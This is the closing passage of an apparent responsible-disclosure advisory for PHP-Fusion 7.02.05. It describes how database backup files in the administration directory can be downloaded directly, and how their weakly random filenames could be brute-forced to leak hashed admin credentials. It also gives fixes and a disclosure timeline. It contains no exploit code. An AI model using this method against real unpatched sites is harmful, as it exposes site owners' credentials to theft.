database backup files directly, given that filename is known: http://localhost/phpfusion70205/administration/db_backups/temp_4973205.txt 2. Database backup's filename is suppose to be random, but there is only about 9 million possible filenames. Such weak filename randomness makes it possible to try bruteforce guessing. Uploaded files are usually deleted within short timeframe, but may be left intact for indefinite time period, if admin does not complete operation and does not access database backup script again. In this case filename bruteforce may be realistic and as result sensitive data leakage from database may occur (hashed admin credentials for example). Possible solutions: 1. .htaccess file restricting directory access 2. better filename randomness Disclosure timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 27.09.2012 -> Contacted developers 27.09.2012 -> Developer asked for details 28.09.2012 -> Sent details to developers 27.01.2013 -> Patched version 7.02.06 released 27.02.2013 -> Advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |